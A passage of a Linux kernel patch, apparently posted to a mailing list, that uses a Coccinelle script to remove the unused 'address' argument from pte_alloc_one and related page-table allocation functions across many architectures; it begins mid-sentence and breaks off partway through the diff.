does not do anything funky with 'address' argument that goes unnoticed.

Build and boot tested on x86-64. Build tested on arm64.

The changes were obtained by applying the following Coccinelle script.
The pte_fragment_alloc was manually fixed up since it was only 2
occurences and could not be easily generalized (and thanks Julia for
answering all my silly and not-silly Coccinelle questions!).

// Options: --include-headers --no-includes
// Note: I split the 'identifier fn' line, so if you are manually
// running it, please unsplit it so it runs for you.

virtual patch

@pte_alloc_func_def depends on patch exists@
identifier E2;
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
type T2;
@@

 fn(...
- , T2 E2
 )
 { ... }

@pte_alloc_func_proto depends on patch exists@
identifier E1, E2, E4;
type T1, T2, T3, T4;
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
@@

(
- T3 fn(T1 E1, T2 E2);
+ T3 fn(T1 E1);
|
- T3 fn(T1 E1, T2 E2, T4 E4);
+ T3 fn(T1 E1, T2 E2);
)

@pte_alloc_func_call depends on patch exists@
expression E2;
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
@@

 fn(...
-,  E2
 )

@pte_alloc_macro depends on patch exists@
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
identifier a, b, c;
expression e;
position p;
@@

(
- #define fn(a, b, c)@p e
+ #define fn(a, b) e
|
- #define fn(a, b)@p e
+ #define fn(a) e
)

Suggested-by: Kirill A. Shutemov <kirill@shutemov.name>
Cc: Michal Hocko <mhocko@kernel.org>
Cc: Julia Lawall <Julia.Lawall@lip6.fr>
Cc: elfring@users.sourceforge.net
Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
---
 arch/alpha/include/asm/pgalloc.h             |  6 +++---
 arch/arc/include/asm/pgalloc.h               |  5 ++---
 arch/arm/include/asm/pgalloc.h               |  4 ++--
 arch/arm64/include/asm/pgalloc.h             |  4 ++--
 arch/hexagon/include/asm/pgalloc.h           |  6 ++----
 arch/ia64/include/asm/pgalloc.h              |  5 ++---
 arch/m68k/include/asm/mcf_pgalloc.h          |  8 ++------
 arch/m68k/include/asm/motorola_pgalloc.h     |  4 ++--
 arch/m68k/include/asm/sun3_pgalloc.h         |  6 ++----
 arch/microblaze/include/asm/pgalloc.h        | 19 ++-----------------
 arch/microblaze/mm/pgtable.c                 |  3 +--
 arch/mips/include/asm/pgalloc.h              |  6 ++----
 arch/nds32/include/asm/pgalloc.h             |  5 ++---
 arch/nios2/include/asm/pgalloc.h             |  6 ++----
 arch/openrisc/include/asm/pgalloc.h          |  5 ++---
 arch/openrisc/mm/ioremap.c                   |  3 +--
 arch/parisc/include/asm/pgalloc.h            |  4 ++--
 arch/powerpc/include/asm/book3s/32/pgalloc.h |  4 ++--
 arch/powerpc/include/asm/book3s/64/pgalloc.h | 12 +++++-------
 arch/powerpc/include/asm/nohash/32/pgalloc.h |  4 ++--
 arch/powerpc/include/asm/nohash/64/pgalloc.h |  6 ++----
 arch/powerpc/mm/pgtable-book3s64.c           |  2 +-
 arch/powerpc/mm/pgtable_32.c                 |  4 ++--
 arch/riscv/include/asm/pgalloc.h             |  6 ++----
 arch/s390/include/asm/pgalloc.h              |  4 ++--
 arch/sh/include/asm/pgalloc.h                |  6 ++----
 arch/sparc/include/asm/pgalloc_32.h          |  5 ++---
 arch/sparc/include/asm/pgalloc_64.h          |  6 ++----
 arch/sparc/mm/init_64.c                      |  6 ++----
 arch/sparc/mm/srmmu.c                        |  4 ++--
 arch/um/kernel/mem.c                         |  4 ++--
 arch/unicore32/include/asm/pgalloc.h         |  4 ++--
 arch/x86/include/asm/pgalloc.h               |  4 ++--
 arch/x86/mm/pgtable.c                        |  4 ++--
 arch/xtensa/include/asm/pgalloc.h            |  8 +++-----
 include/linux/mm.h                           | 13 ++++++-------
 mm/huge_memory.c                             |  8 ++++----
 mm/kasan/kasan_init.c                        |  2 +-
 mm/memory.c                                  | 17 ++++++++---------
 mm/migrate.c                                 |  2 +-
 mm/mremap.c                                  |  2 +-
 mm/userfaultfd.c                             |  2 +-
 virt/kvm/arm/mmu.c                           |  2 +-
 43 files changed, 95 insertions(+), 145 deletions(-)

diff --git a/arch/alpha/include/asm/pgalloc.h b/arch/alpha/include/asm/pgalloc.h
index ab3e3a8638fb..02f9f91bb4f0 100644
--- a/arch/alpha/include/asm/pgalloc.h
+++ b/arch/alpha/include/asm/pgalloc.h
@@ -52,7 +52,7 @@ pmd_free(struct mm_struct *mm, pmd_t *pmd)
 }
 
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_ZERO);
 	return pte;
@@ -65,9 +65,9 @@ pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pte_alloc_one(struct mm_struct *mm)
 {
-	pte_t *pte = pte_alloc_one_kernel(mm, address);
+	pte_t *pte = pte_alloc_one_kernel(mm);
 	struct page *page;
 
 	if (!pte)
diff --git a/arch/arc/include/asm/pgalloc.h b/arch/arc/include/asm/pgalloc.h
index 3749234b7419..9c9b5a5ebf2e 100644
--- a/arch/arc/include/asm/pgalloc.h
+++ b/arch/arc/include/asm/pgalloc.h
@@ -90,8 +90,7 @@ static inline int __get_order_pte(void)
 	return get_order(PTRS_PER_PTE * sizeof(pte_t));
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -102,7 +101,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pte_alloc_one(struct mm_struct *mm)
 {
 	pgtable_t pte_pg;
 	struct page *page;
diff --git a/arch/arm/include/asm/pgalloc.h b/arch/arm/include/asm/pgalloc.h
index 2d7344f0e208..17ab72f0cc4e 100644
--- a/arch/arm/include/asm/pgalloc.h
+++ b/arch/arm/include/asm/pgalloc.h
@@ -81,7 +81,7 @@ static inline void clean_pte_table(pte_t *pte)
  *  +------------+
  */
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -93,7 +93,7 @@ pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/arm64/include/asm/pgalloc.h b/arch/arm64/include/asm/pgalloc.h
index 2e05bcd944c8..52fa47c73bf0 100644
--- a/arch/arm64/include/asm/pgalloc.h
+++ b/arch/arm64/include/asm/pgalloc.h
@@ -91,13 +91,13 @@ extern pgd_t *pgd_alloc(struct mm_struct *mm);
 extern void pgd_free(struct mm_struct *mm, pgd_t *pgdp);
 
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(PGALLOC_GFP);
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/hexagon/include/asm/pgalloc.h b/arch/hexagon/include/asm/pgalloc.h
index eeebf862c46c..d36183887b60 100644
--- a/arch/hexagon/include/asm/pgalloc.h
+++ b/arch/hexagon/include/asm/pgalloc.h
@@ -59,8 +59,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long) pgd);
 }
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-					 unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
@@ -75,8 +74,7 @@ static inline struct page *pte_alloc_one(struct mm_struct *mm,
 }
 
 /* _kernel variant gets to use a different allocator */
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	gfp_t flags =  GFP_KERNEL | __GFP_ZERO;
 	return (pte_t *) __get_free_page(flags);
diff --git a/arch/ia64/include/asm/pgalloc.h b/arch/ia64/include/asm/pgalloc.h
index 3ee5362f2661..c9e481023c25 100644
--- a/arch/ia64/include/asm/pgalloc.h
+++ b/arch/ia64/include/asm/pgalloc.h
@@ -83,7 +83,7 @@ pmd_populate_kernel(struct mm_struct *mm, pmd_t * pmd_entry, pte_t * pte)
 	pmd_val(*pmd_entry) = __pa(pte);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	void *pg;
@@ -99,8 +99,7 @@ static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
 	return page;
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long addr)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return quicklist_alloc(0, GFP_KERNEL, NULL);
 }
diff --git a/arch/m68k/include/asm/mcf_pgalloc.h b/arch/m68k/include/asm/mcf_pgalloc.h
index 12fe700632f4..4399d712f6db 100644
--- a/arch/m68k/include/asm/mcf_pgalloc.h
+++ b/arch/m68k/include/asm/mcf_pgalloc.h
@@ -12,8 +12,7 @@ extern inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 
 extern const char bad_pmd_string[];
 
-extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	unsigned long page = __get_free_page(GFP_DMA);
 
@@ -32,8 +31,6 @@ extern inline pmd_t *pmd_alloc_kernel(pgd_t *pgd, unsigned long address)
 #define pmd_alloc_one_fast(mm, address) ({ BUG(); ((pmd_t *)1); })
 #define pmd_alloc_one(mm, address)      ({ BUG(); ((pmd_t *)2); })
 
-#define pte_alloc_one_fast(mm, addr) pte_alloc_one(mm, addr)
-
 #define pmd_populate(mm, pmd, page) (pmd_val(*pmd) = \
 	(unsigned long)(page_address(page)))
 
@@ -50,8 +47,7 @@ static inline void __pte_free_tlb(struct mmu_gather *tlb, pgtable_t page,
 
 #define __pmd_free_tlb(tlb, pmd, address) do { } while (0)
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page = alloc_pages(GFP_DMA, 0);
 	pte_t *pte;
diff --git a/arch/m68k/include/asm/motorola_pgalloc.h b/arch/m68k/include/asm/motorola_pgalloc.h
index 7859a86319cf..d04d9ba9b976 100644
--- a/arch/m68k/include/asm/motorola_pgalloc.h
+++ b/arch/m68k/include/asm/motorola_pgalloc.h
@@ -8,7 +8,7 @@
 extern pmd_t *get_pointer_table(void);
 extern int free_pointer_table(pmd_t *);
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -28,7 +28,7 @@ static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 	free_page((unsigned long) pte);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	pte_t *pte;
diff --git a/arch/m68k/include/asm/sun3_pgalloc.h b/arch/m68k/include/asm/sun3_pgalloc.h
index 11485d38de4e..1456c5eecbd9 100644
--- a/arch/m68k/include/asm/sun3_pgalloc.h
+++ b/arch/m68k/include/asm/sun3_pgalloc.h
@@ -35,8 +35,7 @@ do {							\
 	tlb_remove_page((tlb), pte);			\
 } while (0)
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	unsigned long page = __get_free_page(GFP_KERNEL);
 
@@ -47,8 +46,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return (pte_t *) (page);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-					unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
         struct page *page = alloc_pages(GFP_KERNEL, 0);
 
diff --git a/arch/microblaze/include/asm/pgalloc.h b/arch/microblaze/include/asm/pgalloc.h
index 7c89390c0c13..f4cc9ffc449e 100644
--- a/arch/microblaze/include/asm/pgalloc.h
+++ b/arch/microblaze/include/asm/pgalloc.h
@@ -108,10 +108,9 @@ static inline void free_pgd_slow(pgd_t *pgd)
 #define pmd_alloc_one_fast(mm, address)	({ BUG(); ((pmd_t *)1); })
 #define pmd_alloc_one(mm, address)	({ BUG(); ((pmd_t *)2); })
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-		unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *ptepage;
 
@@ -132,20 +131,6 @@ static inline struct page *pte_alloc_one(struct mm_struct *mm,
 	return ptepage;
 }
 
-static inline pte_t *pte_alloc_one_fast(struct mm_struct *mm,
-		unsigned long address)
-{
-	unsigned long *ret;
-
-	ret = pte_quicklist;
-	if (ret != NULL) {
-		pte_quicklist = (unsigned long *)(*ret);
-		ret[0] = 0;
-		pgtable_cache_size--;
-	}
-	return (pte_t *)ret;
-}
-
 static inline void pte_free_fast(pte_t *pte)
 {
 	*(unsigned long **)pte = pte_quicklist;
diff --git a/arch/microblaze/mm/pgtable.c b/arch/microblaze/mm/pgtable.c
index 7f525962cdfa..c2ce1e42b888 100644
--- a/arch/microblaze/mm/pgtable.c
+++ b/arch/microblaze/mm/pgtable.c
@@ -235,8 +235,7 @@ unsigned long iopa(unsigned long addr)
 	return pa;
 }
 
-__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-		unsigned long address)
+__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 	if (mem_init_done) {
diff --git a/arch/mips/include/asm/pgalloc.h b/arch/mips/include/asm/pgalloc.h
index 39b9f311c4ef..27808d9461f4 100644
--- a/arch/mips/include/asm/pgalloc.h
+++ b/arch/mips/include/asm/pgalloc.h
@@ -50,14 +50,12 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_pages((unsigned long)pgd, PGD_ORDER);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_pages(GFP_KERNEL | __GFP_ZERO, PTE_ORDER);
 }
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/nds32/include/asm/pgalloc.h b/arch/nds32/include/asm/pgalloc.h
index 27448869131a..3c5fee5b5759 100644
--- a/arch/nds32/include/asm/pgalloc.h
+++ b/arch/nds32/include/asm/pgalloc.h
@@ -22,8 +22,7 @@ extern void pgd_free(struct mm_struct *mm, pgd_t * pgd);
 
 #define check_pgt_cache()		do { } while (0)
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long addr)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -34,7 +33,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return pte;
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	pgtable_t pte;
 
diff --git a/arch/nios2/include/asm/pgalloc.h b/arch/nios2/include/asm/pgalloc.h
index bb47d08c8ef7..3a149ead1207 100644
--- a/arch/nios2/include/asm/pgalloc.h
+++ b/arch/nios2/include/asm/pgalloc.h
@@ -37,8 +37,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_pages((unsigned long)pgd, PGD_ORDER);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -47,8 +46,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return pte;
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/openrisc/include/asm/pgalloc.h b/arch/openrisc/include/asm/pgalloc.h
index 8999b9226512..149c82ee4b8b 100644
--- a/arch/openrisc/include/asm/pgalloc.h
+++ b/arch/openrisc/include/asm/pgalloc.h
@@ -70,10 +70,9 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long)pgd);
 }
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-					 unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 	pte = alloc_pages(GFP_KERNEL, 0);
diff --git a/arch/openrisc/mm/ioremap.c b/arch/openrisc/mm/ioremap.c
index 2175e4bfd9fc..24fb1021c75a 100644
--- a/arch/openrisc/mm/ioremap.c
+++ b/arch/openrisc/mm/ioremap.c
@@ -118,8 +118,7 @@ EXPORT_SYMBOL(iounmap);
  * the memblock infrastructure.
  */
 
-pte_t __ref *pte_alloc_one_kernel(struct mm_struct *mm,
-					 unsigned long address)
+pte_t __ref *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
index cf13275f7c6d..d05c678c77c4 100644
--- a/arch/parisc/include/asm/pgalloc.h
+++ b/arch/parisc/include/asm/pgalloc.h
@@ -122,7 +122,7 @@ pmd_populate_kernel(struct mm_struct *mm, pmd_t *pmd, pte_t *pte)
 #define pmd_pgtable(pmd) pmd_page(pmd)
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page = alloc_page(GFP_KERNEL|__GFP_ZERO);
 	if (!page)
@@ -135,7 +135,7 @@ pte_alloc_one(struct mm_struct *mm, unsigned long address)
 }
 
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_ZERO);
 	return pte;
diff --git a/arch/powerpc/include/asm/book3s/32/pgalloc.h b/arch/powerpc/include/asm/book3s/32/pgalloc.h
index 82e44b1a00ae..af9e13555d95 100644
--- a/arch/powerpc/include/asm/book3s/32/pgalloc.h
+++ b/arch/powerpc/include/asm/book3s/32/pgalloc.h
@@ -82,8 +82,8 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmdp,
 #define pmd_pgtable(pmd) pmd_page(pmd)
 #endif
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
-extern pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
+extern pgtable_t pte_alloc_one(struct mm_struct *mm);
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 {
diff --git a/arch/powerpc/include/asm/book3s/64/pgalloc.h b/arch/powerpc/include/asm/book3s/64/pgalloc.h
index 391ed2c3b697..8f1d92e99fe5 100644
--- a/arch/powerpc/include/asm/book3s/64/pgalloc.h
+++ b/arch/powerpc/include/asm/book3s/64/pgalloc.h
@@ -42,7 +42,7 @@ extern struct kmem_cache *pgtable_cache[];
 			pgtable_cache[(shift) - 1];	\
 		})
 
-extern pte_t *pte_fragment_alloc(struct mm_struct *, unsigned long, int);
+extern pte_t *pte_fragment_alloc(struct mm_struct *, int);
 extern pmd_t *pmd_fragment_alloc(struct mm_struct *, unsigned long);
 extern void pte_fragment_free(unsigned long *, int);
 extern void pmd_fragment_free(unsigned long *);
@@ -192,16 +192,14 @@ static inline pgtable_t pmd_pgtable(pmd_t pmd)
 	return (pgtable_t)pmd_page_vaddr(pmd);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
-	return (pte_t *)pte_fragment_alloc(mm, address, 1);
+	return (pte_t *)pte_fragment_alloc(mm, 1);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-				      unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
-	return (pgtable_t)pte_fragment_alloc(mm, address, 0);
+	return (pgtable_t)pte_fragment_alloc(mm, 0);
 }
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
diff --git a/arch/powerpc/include/asm/nohash/32/pgalloc.h b/arch/powerpc/include/asm/nohash/32/pgalloc.h
index 8825953c225b..16623f53f0d4 100644
--- a/arch/powerpc/include/asm/nohash/32/pgalloc.h
+++ b/arch/powerpc/include/asm/nohash/32/pgalloc.h
@@ -83,8 +83,8 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmdp,
 #define pmd_pgtable(pmd) pmd_page(pmd)
 #endif
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
-extern pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
+extern pgtable_t pte_alloc_one(struct mm_struct *mm);
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 {
diff --git a/arch/powerpc/include/asm/nohash/64/pgalloc.h b/arch/powerpc/include/asm/nohash/64/pgalloc.h
index e2d62d033708..2e7e0230edf4 100644
--- a/arch/powerpc/include/asm/nohash/64/pgalloc.h
+++ b/arch/powerpc/include/asm/nohash/64/pgalloc.h
@@ -96,14 +96,12 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 }
 
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(GFP_KERNEL | __GFP_ZERO);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-				      unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	pte_t *pte;
diff --git a/arch/powerpc/mm/pgtable-book3s64.c b/arch/powerpc/mm/pgtable-book3s64.c
index 01d7c0f7c4f0..cff1d426ca6a 100644
--- a/arch/powerpc/mm/pgtable-book3s64.c
+++ b/arch/powerpc/mm/pgtable-book3s64.c
@@ -379,7 +379,7 @@ static pte_t *__alloc_for_ptecache(struct mm_struct *mm, int kernel)
 	return (pte_t *)ret;
 }
 
-pte_t *pte_fragment_alloc(struct mm_struct *mm, unsigned long vmaddr, int kernel)
+pte_t *pte_fragment_alloc(struct mm_struct *mm, int kernel)
 {
 	pte_t *pte;
 
diff --git a/arch/powerpc/mm/pgtable_32.c b/arch/powerpc/mm/pgtable_32.c
index 120a49bfb9c6..b99a89cdcc5e 100644
--- a/arch/powerpc/mm/pgtable_32.c
+++ b/arch/powerpc/mm/pgtable_32.c
@@ -43,7 +43,7 @@ EXPORT_SYMBOL(ioremap_bot);	/* aka VMALLOC_END */
 
 extern char etext[], _stext[], _sinittext[], _einittext[];
 
-__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -57,7 +57,7 @@ __ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
 	return pte;
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *ptepage;
 
diff --git a/arch/riscv/include/asm/pgalloc.h b/arch/riscv/include/asm/pgalloc.h
index a79ed5faff3a..94043cf83c90 100644
--- a/arch/riscv/include/asm/pgalloc.h
+++ b/arch/riscv/include/asm/pgalloc.h
@@ -82,15 +82,13 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 
 #endif /* __PAGETABLE_PMD_FOLDED */
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(
 		GFP_KERNEL | __GFP_RETRY_MAYFAIL | __GFP_ZERO);
 }
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/s390/include/asm/pgalloc.h b/arch/s390/include/asm/pgalloc.h
index f0f9bcf94c03..ce2ca8cbd2ec 100644
--- a/arch/s390/include/asm/pgalloc.h
+++ b/arch/s390/include/asm/pgalloc.h
@@ -139,8 +139,8 @@ static inline void pmd_populate(struct mm_struct *mm,
 /*
  * page table entry allocation/free routines.
  */
-#define pte_alloc_one_kernel(mm, vmaddr) ((pte_t *) page_table_alloc(mm))
-#define pte_alloc_one(mm, vmaddr) ((pte_t *) page_table_alloc(mm))
+#define pte_alloc_one_kernel(mm) ((pte_t *)page_table_alloc(mm))
+#define pte_alloc_one(mm) ((pte_t *)page_table_alloc(mm))
 
 #define pte_free_kernel(mm, pte) page_table_free(mm, (unsigned long *) pte)
 #define pte_free(mm, pte) page_table_free(mm, (unsigned long *) pte)
diff --git a/arch/sh/include/asm/pgalloc.h b/arch/sh/include/asm/pgalloc.h
index ed053a359ab7..8ad73cb31121 100644
--- a/arch/sh/include/asm/pgalloc.h
+++ b/arch/sh/include/asm/pgalloc.h
@@ -32,14 +32,12 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmd,
 /*
  * Allocate and free page tables.
  */
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return quicklist_alloc(QUICK_PT, GFP_KERNEL, NULL);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-					unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	void *pg;
diff --git a/arch/sparc/include/asm/pgalloc_32.h b/arch/sparc/include/asm/pgalloc_32.h
index 90459481c6c7..282be50a4adf 100644
--- a/arch/sparc/include/asm/pgalloc_32.h
+++ b/arch/sparc/include/asm/pgalloc_32.h
@@ -58,10 +58,9 @@ void pmd_populate(struct mm_struct *mm, pmd_t *pmdp, struct page *ptep);
 void pmd_set(pmd_t *pmdp, pte_t *ptep);
 #define pmd_populate_kernel(MM, PMD, PTE) pmd_set(PMD, PTE)
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address);
+pgtable_t pte_alloc_one(struct mm_struct *mm);
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return srmmu_get_nocache(PTE_SIZE, PTE_SIZE);
 }
diff --git a/arch/sparc/include/asm/pgalloc_64.h b/arch/sparc/include/asm/pgalloc_64.h
index 874632f34f62..48abccba4991 100644
--- a/arch/sparc/include/asm/pgalloc_64.h
+++ b/arch/sparc/include/asm/pgalloc_64.h
@@ -60,10 +60,8 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 	kmem_cache_free(pgtable_cache, pmd);
 }
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-			    unsigned long address);
-pgtable_t pte_alloc_one(struct mm_struct *mm,
-			unsigned long address);
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
+pgtable_t pte_alloc_one(struct mm_struct *mm);
 void pte_free_kernel(struct mm_struct *mm, pte_t *pte);
 void pte_free(struct mm_struct *mm, pgtable_t ptepage);
 
diff --git a/arch/sparc/mm/init_64.c b/arch/sparc/mm/init_64.c
index f396048a0d68..6133f21811e9 100644
--- a/arch/sparc/mm/init_64.c
+++ b/arch/sparc/mm/init_64.c
@@ -2921,8 +2921,7 @@ void __flush_tlb_all(void)
 			     : : "r" (pstate));
 }
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-			    unsigned long address)
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	struct page *page = alloc_page(GFP_KERNEL | __GFP_ZERO);
 	pte_t *pte = NULL;
@@ -2933,8 +2932,7 @@ pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return pte;
 }
 
